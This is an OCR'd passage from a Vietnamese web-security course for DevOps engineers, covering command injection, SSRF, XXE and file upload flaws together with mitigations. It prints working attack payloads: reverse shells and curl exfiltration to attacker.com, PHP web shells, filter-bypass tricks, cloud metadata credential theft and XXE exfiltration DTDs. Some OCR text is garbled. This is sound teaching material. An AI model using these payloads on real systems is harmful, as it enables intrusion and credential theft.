» MongoDB dé bj operator injection ($ne, $gt, $regex, $where) néu khong validate input types.

e S$where operator cho phép JavaScript execution — dac biét nguy hiém.

o Phong chéng: validate types (string chit khéng phai object), sanitize operators, disable javascriptEnabled.
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e express-mongo-sanitize 1a middleware hitu ich cho Node.js apps.

¢ Khong expose MongoDB port ra ngoai — luén dung ClusterIP trong K8s.

| cau hei on tap
1. Tai sao {"password": {"$ne": null}} bypass MongoDB authentication?
2. Sy khéc biét gitta SQL injection va NoSQL operator injection la gi?
3. swhere operator trong MongoDB nguy hiém nhu thé nao?
4. Lam thé nao dé phong chéng NoSQL injection trong Express.js application?

5. Taisao javascriptEnabled: false trong mongod.conf quan trong?
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Chwong 14: Command Injection

| khai niem

Command Injection (OS Command Injection — Tiém Iénh OS) la 16 héng cho phép hacker thuc thi arbitrary OS commands trén server bang céach inject vao user input
dugc truyén vao shell commands.

Mitc d6 nguy hiém: Rit cao — Command injection = full server compromise. Hacker c6 thé doc files, tao backdoors, pivot sang internal network.

Xay ra khi application goi OS commands véi unsanitized user input.

I Cach hoat dong

"

# Vulnerable code: ping mot IP do r nhap

def ping_host(ip_address):
result = os.system(f"ping -c 1 {ip_address}")
return result

+ Normal: ip_addr

Command : ping -c 1

+ Command: pin

Ping thanh c

khi tan coéng

n
=2
13
=
(1)
-
[+
(2]
=2
o
=
o
(2]
-+
(1)
=
(7]
<
[t}

Chay command tiép theo

Cchay command tiép theo NEU command truéc thanh céng

Chay command tiép theo NEU command truéc THAT BAI
Pipe output sang command ké tiép

Backtick: thyc thi command va thay b&ng output
Command substitution: $(command)

Newline: command méi trén dong méi

.8; id
.8 && id
.8 | id
.8 Tid®
.8 $(id)

I Céac loai Command Injection

1. In-Band (Direct) — Output hién thi trong response

Input: 127.0.0.1; cat /etc/passwd
Output hién thi truc tiép:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbhin/nologin

2. Blind Command Injection — Khéng c6 output
Pho bién hon in-band. App thuc thi command nhung khong hién thi két qua.

Time-based detection:

# Néu command thuc thi,
ping -c 1 127.0.0.1; sleep 10

127.0.0.1 & sleep 10 &
127.0.0.1 && sleep 10
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127.0.0.1 | sleep 10

# NEu response cham hon 10 gidy - command injection confirmed

Output redirection:

.

# Redirect output vao web-accessible file
127.0.0.1; id > /var/www/html/output.txt
# Sau do6: curl https://example.com/output.txt

127.0.0.1; cat /etc/passwd > /var/www/html/passwd.txt

Out-of-Band (OAST) — Dung DNS/HTTP:

-

# Trigger DNS lookup dén domain hacker kiém soat
127.0.0.1; nslookup “id.attacker.com
# - DNS query: uid=33(www-data).attacker.com — biét command chay véi quyén gi

# Curl dé exfiltrate data
127.0.0.1; curl https://attacker.com/$(whoami)
127.0.0.1; curl https://attacker.com/data --data @/etc/passwd

# Ping
127.0.0.1; ping -c 1 $(hostname).attacker.com

3. Time-Based Blind Injection

"

# Phan tich timing dé extract data tung bit

¢t Néu user la root - sleep 5 giay
if [ "$(whoami)" = "root" ]; then sleep 5; fi

+ Extract file content ky ty mot:
if [ "$(cut -c1 /etc/passwd)" = "r" ]; then sleep 3; fi
¢ Delay — ky tu dau la 'r'

if [ "$(cut -c2 /etc/passwd)" = "o" ]; then sleep 3; fi
Delay - ky tu 2 la

'

(0]

| Khai thac thye te

Web Shell Upload qua Command Injection

# Tao persistent backdoor
127.0.0.1; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

# Bay gio:
curl "https://example.com/shell.php?cmd=id"

# - uid=33(www-data) gid=33(www-data)

curl "https://example.com/shell.php?cmd=cat+/etc/passwd"
# - Full /etc/passwd

curl "https://example.com/shell.php?cmd=1s+-1la+/"

Reverse Shell

# Attacker lang nghe trén port 4444
nc -lvnp 4444

# Inject reverse shell vao target
127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Hoac Python:
127.0.0.1; python3 -c 'import

socket, subprocess, 0s; s=socket.socket (socket.AF_INET, socket.SOCK_STREAM);s.connect(("attacker.com",4444));0s.dup2(s.fileno(),0);0s.dup2(s.f

i
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Internal Network Pivot

# Sau khi co6 shell trén server:
# Scan internal network
127.0.0.1; for i in 10.0.0.{1..254}; do (ping -cl1 $i 2>&1 >/dev/null && echo "UP: $i")& done; wait

# Scan specific port
127.0.0.1; for i in 10.0.0.{1..10}; do nc -zv $i 22 2>&1; done

# Pivot dén database
127.0.0.1; mysql -h 10.0.0.5 -u root -p'password' -e "SHOW DATABASES;"

I Bypass Techniques

Bypass Spaces

.
# NEu space bi filter
${IFS} # Internal Field Separator = space by default
$'\x20' # Hex space
{cat, /etc/passwd} # No space needed
cat</etc/passwd # Redirect without space
X=$'cat\x20/etc/passwd’'&&$X

Bypass Blacklisted Keywords

# "cat" bi filter

c'a't /etc/passwd

c${u}at /etc/passwd

ca\t /etc/passwd

$(printf '\143\141\164') /etc/passwd in octal
/bin/c?t /etc/passwd # Wildcard

# "passwd" bi filter
/etc/pa??wd
/etc/pass'wd'’

URL Encoding

Thuong encode qua Burp Decoder:
; %3B
| %7C
& %26
$ %24
( - %28

0O Tim features 1lién quan dén 0S commands:
Ping/traceroute tools
File conversion tools
PDF/image generation
Network diagnostic tools
Backup/archive features

Test véi time delay: ; sleep 10
Test voi out-of-band: ; nslookup attacker.com
Kiém tra Burp Collaborator néu c6 Pro

Test variations:

; id

&& id

| id

“id*

$(id)

[l id

%0a id (newline)
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| Phong chéng

1. Tranh goi OS commands — Best Practice

# SAIL: Goi ping command
import os
def ping(ip):
return os.system(f"ping -c 1 {ip}")

# BUNG: Dung Python library thay thé
import subprocess
import ipaddress

def ping(ip):
# Validate IP trudc
try:
ipaddress.ip_address(ip) # Validate IP format
except ValueError:
raise ValueError("Invalid IP address")

# Dung list argument thay vi shell string
result = subprocess.run(
["ping", "-c", "1", ip], # List, khong phai string
capture_output=True,
text=True,
timeout=5,
shell=False # QUAN TRONG: shell=False
)

return result.stdout

2. Shell=False (subprocess véi list arguments)

-

import subprocess

# SAIL: shell=True véi string dé inject
def run_command(user_input):
result = subprocess.run(
f"echo {user_input}",
shell=True, # — NGUY HIEM
capture_output=True

# DUNG: shell=False voi list
def run_command(user_input)
Validate first
if not re.match(r'A[a-zA-Z0-9 ]+$', user_input)
raise ValueError("Invalid input")

result = subprocess.run(
["echo", user_input], # List: each element is a separate argument
shell=False, # Shell not invoked metacharacters not interpreted
capture_output=True,
text=True,
timeout=5

)

return result.stdout

3. Input Validation — Strict Whitelist

import re
import ipaddress

def validate_ip(ip: str) -> str
"""Chi accept valid IPv4/IPv6 addresses"""
try:
return str(ipaddress.ip_address(ip))
except ValueError:
raise ValueError(f"Invalid IP address: {ip}")

validate_hostname(hostname: str) -> str:
"""Chi accept valid hostnames"""
pattern = r'A[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-2zA-Z20-9])?(\.[a-2zA-Z]{2,})+$'
if not re.match(pattern, hostname):
raise ValueError(f"Invalid hostname: {hostname}")
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return hostname

def validate_filename(filename: str) -> str:
"""Chi accept safe filenames"""

# Chi cho phép alphanumeric, dash, underscore, dot

if not re.match(r'A[a-zA-Z0-9_\-\.]+$', filename)
raise ValueError(f"Invalid filename: {filename}'")

# Khong cho phép path traversal

if '..' in filename or '/' in filename:
raise ValueError("Path traversal not allowed")

return filename

4. Least Privilege cho Process

# Dockerfile: chay app véi user khdng c6 quyén cao
FROM python:3.11-slim

# Tao non-root user
RUN groupadd -r appuser && useradd -r -g appuser appuser

# Switch sang non-root user
USER appuser

# App chay véi quyén cla appuser
# Ngay cd khi cé command injection, thiét hai bi giéi han

I Go6c nhin DevOps

Kubernetes: Han ché capabilities ctia container:

apiVersion: vi
kind: Pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true # Khong ghi dugc - shell upload khé hon
capabilities:
drop:
- ALL # Drop tdt ca Linux capabilities

Network Policy — Han ché outbound connections:

# Ngan container két néi ra ngoai (limit reverse shell)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-egress
spec:
podSelector:
matchLabels:
app: webapp
policyTypes:
- Egress
egress:
5ol
- podSelector:
matchLabels:
app: database
ports:
- protocol: TCP
port: 5432
# Chi allow két n6i dén database, khong cé gi khac

SAST dé detect command injection:
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# Semgrep rules

semgrep --config=p/command-injection src/

# Bandit cho Python
bandit -r . -t B602,B603,B604,B605,B606,B607

# Tim os popen, ss voi shell=True

grep -rn "os\.system\|os\.popen\|shell=True" src/

Tom tat

¢ Command injection = inject OS commands vao user input duwgc truyén vao shell.
 Blind injection phé bién hon: detect qua time delay hodc out-of-band (DNS).

e Metacharacters: ; , &&, ||, |,backtick, $() la cong cu tan cong.

e Phong chong #1: Tranh goi OS commands — dung library thay thé.

o Néu phai goi commands: shell=False + list arguments + whitelist validation.
o Least privilege: chay app v6i non-root user, drop capabilities.

o Network policy han ché outbound gidm impact cta reverse shell.

Cau hoi 6n tap

1. Sy khac nhau giita in-band va blind command injection la gi? Loai nao pho bién hon?

2. Tai sao subprocess.run(["cmd", arg], shell=False) antoanhon shell=True ?

3. M6 ta ba ky thuat phat hién blind command injection.

4. Néu hacker c6 command injection nhung app chay véi user gigi han quyén, impact nhw thé nao?

5. Lam thé nao Network Policy trong Kubernetes gigi han impact ctia command injection?
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Chwong 15: SSRF — Server-Side Request Forgery

| khai niem
SSRF (Server-Side Request Forgery — Gia mao yéu cau phia server) la 16 hdng cho phép hacker khién server thyc hién HTTP requests dén dia chi tuy y — thuong la

internal services khong accessible tir internet.

Miitc d§ nguy hiém: R4t cao — SSRF 1a cong vao internal network. Trong cloud environment, SSRF ¢4 thé dan dén credential theft tir metadata API va full cloud account

takeover.

SSRF ddc biét nguy hiém trong cloud va microservices architecture.

I Cach hoat dong

# App c6 feature load anh tir URL

def load_image(url)
response = requests.get(url) # Server fetch URL
return response.content

# Normal: url = "https://example
# Att url = "http://1 54

# - Server fetch metadata - 10 M credentials!

| cac 10ai ssrF

1. Basic SSRF — Hién thi response

Server fetch URL va trd vé content cho user.

POST /api/fetch-profile HTTP/1.1
Content-Type: application/json

{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

Response:

{

"content": "my-ec2-role\n"

Tiép tuc:
{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role"}

Response:
{
"content": "{
\"AccessKeyId\": \"ASIA...\"
\"SecretAccessKey\": \"...\"
\"Token\": \"...\"
\"Expiration\": \"2024-01-01T00:00:00Z\"

2. Blind SSRF — Khong thay response
Server fetch URL nhung khéng tra vé content. Chi biét qua side effects.

- Thay d6i response time (target accessible vs. not)
- Out-of-band: server giri DNS query hodc HTTP request dén attacker server

Detection:

# Dung Burp Collaborator (Pro) hodac interactsh
{"webhook_ur1l": "https://YOUR_BURP_COLLABORATOR_URL"}

t+ Néu server fetch URL - Collaborator nhan request SSRF confirmed

t

file:///home/tung/Desktop/documents/tmp/postswigger/web-security-devops.html 87/151



6/6/26, 1:13 PM Web Security cho DevOps Engineer
3. SSRF v¢&i localhost bypass authentication

Nhiéu internal services tin twdng connections ti localhost (127.0.0.1):

# Admin panel an, chi accessible ti&r localhost
GET /admin HTTP/1.1

Host: example.com

- 403 Forbidden (tlr internet)

# Qua SSRF: server tu request dén chinh no
{"url": "http://127.0.0.1/admin"}
- Server fetch - Admin panel accessible - 200 OK

4. SSRF vao Internal Services

# Scan internal network

{"url": "http://10.0.0.1:8080"} - Internal service
{"url": "http://192.168.1.1"} - Router admin panel
{"url": "http://172.16.0.1:6379"} - Redis

{"url": "http://10.0.0.5:9200"} - Elasticsearch
{"url": "http://10.0.0.10:27017"} - MongoDB

# Internal Kubernetes services
{"url": "http://kubernetes.default.svc.cluster.local"}
{"url": "http://kube-apiserver:6443"}

I SSRF trong Cloud — Metadata API

Cloud providers c¢6 metadata service tai dia chi c6 dinh:

AWS IMDSvV1 (Vulnerable — Legacy)
http://169.254.169.254/latest/meta-data/

# Lay IAM credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# Response:

"Code": "Success",

"LastUpdated": "2024-01-01T00:00:00Z"

"Type": "AWS-HMAC"

"AccessKeyId": "ASIAIOSFODNN7EXAMPLE"

"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPXRfiCYEXAMPLEKEY",
"Token": "AQoXnyc4lcKdw...",

"Expiration": "2024-01-01T06:00:00Z"

# Dung credentials dé access AWS services!
export AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/...
export AWS_SESSION_TOKEN=AQoXnyc4lcK4w. ..
aws s3 ls # Access S3 vOi quyén cla EC2 role

AWS IMDSv2 (Phong chéng SSRF)

# IMDSv2 yéu cau PUT request trudc dé 1ldy token
# SSRF qua fetch() khong thé lam PUT request véi custom header
# - Phong chdng SSRF attacks

curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

- TTL_TOKEN

curl -H "X-aws-ec2-metadata-token: $TTL_TOKEN" \

http://169.254.169.254/latest/meta-data/

GCP Metadata

http://metadata.google.internal/computeMetadata/v1l/
# Can header: Metadata-Flavor: Google
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http://metadata.google.internal/computeMetadata/vi/instance/service-accounts/default/token
- Lay access token cua GCP service account

http://metadata.google.internal/computeMetadata/vl/project/project-id
- Lay project ID
Azure Metadata

http://169.254.169.254/metadata/instance?api-version=2021-02-01
# can header: Metadata: true

http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
- Lay Azure managed identity token

I SSRF Bypass Techniques

Bypass IP-based blocklist

# Thay 127.0.0.1 bdng cac cach biéu dién khac
127.0.0.1 - Bi block

127.1 — IPv4 short form
127.000.000.1 - Octal octets

Ox7f000001 Hex

2130706433 Decimal (int representation)
nadl IPv6 localhost

224 IPv6 brackets

0177.0.0.1 Octal

# Thay 169.254.169.254

2852039166 - Decimal

Oxa9fea9fe - Hex

169.254.169.254 - Standard
http://169.254.169.254 — c6 thé bi block nguyén URL

DNS Rebinding

Hacker register domain: attacker.com
. DNS server cla hacker tra vé 169.254.169.254 (TTL=0)
. App resolve attacker.com - 169.254.169.254 khong bi cache (TTL=0)
. App fetch http://attacker.com - thuc ra request dén 169.254.169.254

URL Encoding Bypass

http://127.0.0.1 - bi check
http://127.0.0.1%0a.example.com - URL decode - c6 thé bypass
http://%31%32%37%2e%30%2e%30%2e%31 - 127.0.0.1 encoded

# Double URL encoding
%2561 - %61 - a

Redirect Bypass

1. App check URL - OK (example.com)
2. Fetch URL - 302 Redirect - 169.254.169.254
3. App follow redirect — metadata accessed!

# Host open redirect
{"url": "https://example.com/redirect?to=http://169.254.169.254/"}

Protocol Alternatives

http://169.254.169.254 - check
file:///etc/passwd - doc file local
gopher://127.0.0.1:25/ - interact véi SMTP
gopher://127.0.0.1:6379/ - interact véi Redis
dict://127.0.0.1:6379/ - Redis dict protocol
sftp://attacker.com SFTP
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I Kich ban tan c6ng: Cloud Account Takeover

Target: Web app chay trén AWS EC2 v6i IAM role cé quyén S3 full access

Find SSRF:
POST /api/screenshot?url=...
- App fetch URL va render screenshot

Exploit SSRF:
POST /api/screenshot?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
- Response: "webapp-role"

. Get credentials:
POST /api/screenshot?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-role
- Response: {AccessKeyId, SecretAccessKey, Token}

Use credentials tir laptop cla hacker
export AWS_ACCESS_KEY_ID=...

export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

aws s3 ls # List all buckets
aws s3 sync s3://company-backups . # Download tdt ca backups
aws iam list-users # Enum IAM users

| cach phat hien

0O Features nao nhan URL input?
Image upload tir URL
Webhook configuration
PDF/screenshot generation
API proxy/integration
Import data tir URL
Preview URL features

Test vdi internal IPs:
http://127.0.0.1

http://localhost
http://169.254.169.254 (AWS metadata)
http://metadata.google.internal (GCP)

Test véi Burp Collaborator:
URL - c6 request dén Collaborator khong?

Check response time khac nhau cho accessible vs. non-accessible IPs
Error messages tiét 10 internal services

I Phong chéng

1. Allowlist thay vi Blocklist

import ipaddress
from urllib.parse import urlparse

ALLOWED_DOMAINS = {
'example.com'
'api.example.com'
'storage.googleapis.com',

validate_url(url: str) -> bool
parsed = urlparse(url)

# Chi cho phép HTTPS
if parsed.scheme != 'https':
return False

# Whitelist domain (exact match)
hostname = parsed.netloc.split(':")[0].lower()
if hostname not in ALLOWED_DOMAINS:

return False

return True
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def safe_fetch(url: str) -> bytes:
if not validate_url(url)
raise ValueError("URL not allowed")

response = requests.get(url, timeout=5, allow_redirects=False)

# Khong follow redirects ty dong
if response.is_redirect:
raise ValueError("Redirects not allowed")

return response.content

2. Network-Level Blocking

.
# Resolve hostname va check IP khdéng phai private range
import socket
import ipaddress

PRIVATE_RANGES = [
ipaddress.ip_network('10.0.0.0/8"),
ipaddress.ip_network('172.16.0.0/12"),
ipaddress.ip_network('192.168.0.0/16"),
ipaddress.ip_network('127.0.0.0/8"),
ipaddress.ip_network('169.254.0.0/16'), # AWS metadata
ipaddress.ip_network('::1/128"), # IPv6 localhost
ipaddress.ip_network('fc00::/7"), # IPv6 private

is_safe_ip(hostname: str) -> bool:
try:
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
for private_range in PRIVATE_RANGES:
if ip in private_range:
return False
return True
except (socket.gaierror, ValueError):
return False

3. AWS IMDSv2 — Bét budc duing

# Khi launch EC2, disable IMDSv1

aws ec2 modify-instance-metadata-options \
--instance-id 1i-1234567890abcdef® \
--http-tokens required \
--http-put-response-hop-limit 1

# Terraform:
resource "aws_instance" "app" {
metadata_options {
http_endpoint = "enabled"
http_tokens = "required" # IMDSv2 required
http_put_response_hop_limit = 1

I Go6c nhin DevOps

Kubernetes Network Policy — Block metadata access:

# Ngan pods access AWS/GCP metadata service
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-metadata
spec:
podSelector: {} # Ap dung cho tdt ca pods
policyTypes:
- Egress
egress:
# Block 169.254.169.254 (metadata service)
# Kubernetes NetworkPolicy khong ho tro block by IP truc tiép
# Dung Calico hoac Cilium NetworkPolicy cho IP-based rules

;
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Véi Calico:

"

apiVersion: projectcalico.org/v3
kind: GlobalNetworkPolicy
metadata:
name: block-metadata
spec:
selector: all()
types:
- Egress
egress:
- action: Deny
destination:
nets:
- "169.254.169.254/32" # AWS metadata
- "metadata.google.internal"

t

Service Account v6i minimal permissions:

// IAM role chi cé quyén can thiét
{
"Version": "2012-10-17"
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws :i:my-specific-bucket/*"

1
}

// Khong phadi s3:* hay sts:AssumeRole

Tém tat

o SSRF khién server gtti requests dén internal services/metadata API.

¢ Trong cloud, SSRF — IMDSv1 metadata — IAM credentials — full account takeover.
¢ Bypass: hex/octal IP, DNS rebinding, redirect chains, alternative protocols.

o Phong chong: URL allowlist (khong blocklist), validate IP sau DNS resolution.

e AWS: bat bugc IMDSv2 (http-tokens: required).

o Kubernetes: Network Policy block access dén metadata service.

o Least privilege IAM role — giam impact khi SSRF xay ra.

Cau héi 6n tap

1. Tai sao SSRF trong cloud environment nguy hiém hon so véi on-premises?

2. AWS IMDSv2 ngén chdn SSRF nhu thé nao? Tai sao IMDSv1 vulnerable?

3. Blocklist approach kém hiéu qua hon allowlist nhw thé nao? Cho vi du bypass.
4. Khi validate URL dé chong SSREF, tai sao can resolve hostname va check [P?

5. M6 ta DNS rebinding attack va tai sao né bypass IP-based blocklist.
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Chwong 16: XXE — XML External Entity Injection

| khai niem

XXE (XML External Entity Injection — Tiém thuc thé XML bén ngoai) 1a 16 héng xay ra khi XML parser xtt 1y input c6 chita external entity references doc hai.

Mitc d9 nguy hiém: Cao — XXE c6 thé dan dén doc files ndi by, SSRF, va trong mot s trieong hgp, RCE.

| XML Entities 12 gi?

XML cho phép dinh nghia entities — bién c6 thé duwgc tham chiéu trong document:

I-- Internal entity --
<IDOCTYPE note [
<!ENTITY greeting "Hello, World!">
1>
<note>&greeting;</note>
<!-- Parser th greeting; bang "Hello, World!"

<!-- External entity: load t& file hoac URL -->
<!DOCTYPE note [

<!ENTITY ext SYSTEM "http://example.com/data.txt">
1>
<note>&ext;</note>

fetch URL va thay thé bang content -->

XXE xay ra khi parser cho phép external entities tir untrusted input.

| cac 10ai xxE

1. File Retrieval

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE foo [

<IENTITY xxe SYSTEM "file:///etc/pas
1>

<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

Response:
HTTP/1.1 400 Bad Request

"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbhin..."

Files thua vi:

/etc/passwd usernames

/etc/shadow hashed passwords (n readable)
/etc/hosts internal hostnames
/proc/self/environ environment variables (secrets!)
/proc/self/cmdline command line args
/var/log/apache2/access. log logs

/var/www/html/config.php app config véi DB password
~/.ssh/id_rsa SSH private key

2. XXE dé SSRF

<!DOCTYPE foo [
<IENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
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1>
<request>&xxe;</request>

Parser fetch URL - giong SSRF, nhung thong qua XXE.

3. Blind XXE — Khong thay output

Nhiéu apps parse XML nhung khong echo lai content cua entities.

Out-of-Band Exfiltration:

<!-- Payload giti dén server -->

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [
<!IENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%XXE;

1>

<foo>&exfil;</foo>

<!l-- evil.dtd trén attacker.com -->

<IENTITY % file SYSTEM "file:///etc/passwd">

<IENTITY % wrap "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;

Flow:
1. Parser load evil.dtd ti&r attacker.com
2. %file entity = content cla /etc/passwd
. %wrap tao entity méi: exfil = fetch attacker.com véi content
Parser fetch http://attacker.com/?data=root:x:0:0:root:/root:/bin/bash...
Hacker xem access log - cé /etc/passwd content

Error-based Blind XXE:

<IDOCTYPE foo [
<IENTITY % file SYSTEM "file:///etc/passwd">
<IENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Parser trigger error: "file not found: /nonexistent/root:x:0:0..."
Error message chita file content!

4. Xinclude Attack

Khi app nhan XML tl user nhwng nhing vao server-side XML document (khéng control DT

-

<foo xmlns:xi="http://www.w3.0rg/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>

5. XXE qua File Upload
Nhiéu file formats duing XML internally:

SVG upload:

<?xml version="1.0" standalone="yes"?>

<IDOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/hostname">

1>

<svg width="128px" height="128px" xmlns="http://www.w3.0rg/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>

</svg>

DOCX/XLSX/PPTX (Office XML formats):
DOCX = ZIP archive chta XML files

- Inject XXE vao word/document.xml hodac [Content_Types].xml
- Upload DOCX - server parse XML — XXE!
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RSS/Atom feed:

<?xml version="1.0"?>
<IDOCTYPE feed [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<feed>&xxe;</feed>

Kich ban tan cong: Poc Config File
Target: E-commerce app, endpoint POST /api/stock-check nhan XML

1. Normal request:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeld>1</storeId></stockCheck>

2. XXE payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "file:///var/www/html/.env">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

3. Response:
{
"error": "Invalid product ID:

DB_HOST=mysql
DB_USER=root
DB_PASSWORD=Super$ecret123!
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI..."

4., Hacker co6:
- Database credentials
- AWS credentials
- Full system compromise

| cach phat hign

App nhan XML input khoéng? (Content-Type: text/xml, application/xml)
App accept file upload? (SVG, DOCX, XLSX, ODT, RSS)

Thém DOCTYPE declaration vGi external entity

Test voi file:///etc/passwd

Test véi HTTP URL dé detect SSRF via XXE

Test XInclude cho SOAP/REST endpoints nhung user content vao XML
Kiém tra error messages 10 file content

Test blind XXE véi Burp Collaborator (out-of-band)

0OO0OO0OO0Ooooao

Content-Type test:

Mot s6 apps accept XML du khong expect:

- Thay Content-Type: application/json - application/xml
- Convert JSON body sang equivalent XML

- Server c6 thé switch parser - XXE possible

I Phong chdng

1. Disable External Entities va DTD Processing

.
# Python 1xml
from 1xml import etree

parser = etree.XMLParser (
resolve_entities=False, Disable entity resolution
no_network=True, # Disable network access
load_dtd=False, Disable DTD loading

try:
tree = etree.fromstring(xml_content, parser=parser)
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except etree.XMLSyntaxError as e:
raise ValueError(f"Invalid XML: {e}")

// Java - DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// Disable external entities
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);

dbf.setExpandEntityReferences(false);

// PHP - libxml
libxml_disable_entity loader(true); // Deprecated in PHP 8.0, disabled by default

// PHP 8.0+: external entities disabled by default
$dom = new DOMDocument();
$dom->loadXML ($xml, LIBXML_NONET | LIBXML_NOENT);

// C# - XmlReader

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // Khong cho phép DTD
settings.XmlResolver = null; // Khong resolve external entities
XmlReader reader = XmlReader.Create(input, settings);

2. Dung JSON thay vi XML

NEu c6 thé, dung JSON API thay vi XML
— JSON khdng c6 entity/DTD concept - khdng c6é XXE

3. Validate va Sanitize XML Input

# Strip DOCTYPE declaration trudc khi parse
import re

def strip_dangerous_xml(xml_str: str) -> str
Remove DOCTYPE declarations
xml_str = re.sub(r'<!DOCTYPE[A>]*>", '' xml_str, flags=re.IGNORECASE)
# Remove entity references
xml_str = re.sub(r'<!ENTITY[A>]*>', '', xml_str, flags=re.IGNORECASE)
return xml_str

4. File Upload Validation

import zipfile
import xml.etree.ElementTree as ET

def validate_docx(file_content: bytes) -> bool
try:
with zipfile.ZipFile(io.BytesIO(file_content)) as zf:
for name in zf.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = zf.read(name).decode('utf-8', errors='ignore')

# Check for DOCTYPE/ENTITY
if '<!DOCTYPE' in content or '<!ENTITY' in content:
return False # Reject file
return True
except (zipfile.BadZipFile, Exception):
return False

I Go6c nhin DevOps

WAF Rules cho XXE:
ModSecurity CRS c6 rules detect XXE:

- REQUEST-944-APPLICATION-ATTACK-JAVA.conf
- Check cho <!DOCTYPE, <!ENTITY, SYSTEM, PUBLIC keywords
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Custom rule:
SecRule REQUEST_BODY "@contains <!ENTITY" \

"id:1001, phase:2,deny, status:400,msg: 'XXE attempt'"

Kubernetes: Han ché outbound connections:

+ NEu app bi XXE, network pol 5
h file:// (lc e N ork y khong help
- Fetch HTTP outbound: block bang egre
apiVersion: networking.k8s /vl
kind: NetworkPolicy
spec:
policyTypes:
- Egress
egress:
- to:
- podSelector:
matchLabels:
tier: database
# Khong c6 outbound internet limit blind

SAST:

# Detect unsaf ML parsing
semgrep --config=p/java-xxe src/
semgrep --config=p/python-xxe src/

# Bandit cho Python
bandit -r . -t B313,B314,B315,B316,B317,B318, B319, B320

Tém tat

o XXE: inject external entities vao XML - doc files, SSRF, trong truong hgp ddc biét RCE.
o 4 loai: file retrieval, SSRF, blind (out-of-band/error-based), XInclude.

e An trong file uploads: SVG, DOCX, XLSX, RSS feeds.

¢ Phong chong #1: Disable DTD processing va external entity resolution.

o Prefer JSON over XML khi c6 thé.

e MOoi ngdn ngit c6 cach cu thé dé disable — ludn configure explicitly.

Cau hoi o6n tap

1. XXE xdy ra do tinh nang nao ctia XML dugc enable? Tai sao tinh nang d6 ton tai?
2. Tai sao DOCX/XLSX files c6 thé 1a vector cho XXE attack?

3. Blind XXE va in-band XXE khac nhau nhu thé nao? Cach detect blind XXE?

4. XInclude khéc véi External Entity Injection nhw thé nao?

5. Tai sao disable DTD processing & parser level t6t hon la filter input?
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Chwong 17: File Upload Vulnerabilities

| khai niem
File Upload Vulnerabilities la nh6m 16 hong xay ra khi @ng dung cho phép upload file ma khéng validate day du vé tén, loai, ndi dung, hodc kich thudc. Hau qua cd thé la

remote code execution, XSS, hodc server compromise.

Mitc do nguy hiém: Rét cao — Upload web shell = full server control.

I Cach hoat dong

r

# Vulnerable code

@app.route('/upload', methods=['POST'])

def upload():
file = request.files['avatar']
filename = file.filename # Lay nguyén tén tu user
file.save(f"/var/www/html/uploads/{filename}") # Luu vao webroot
return {"url": f"/uploads/{filename}"}

# Normal: avatar.jpg /var/www/html/uploads/avatar.jpg

# Attack 1ell.php /var html/uplo /shell.php
# equ GET /upload PHP execut

| web shell Upload

Web shell la script server-side cho phép thyc thi commands qua HTTP.

PHP Web Shell

<?php system($_GET['cmd']); ?>

<?php echo shell_exec($_REQUEST['c']); ?>
<?php passthru($_GET['cmd']); ?>

<?php eval($_POST['code']); ?>

/ One-liner:
<?="$_GET[0] ?>

://example.com/uploads/shell.php?cmd=1id"

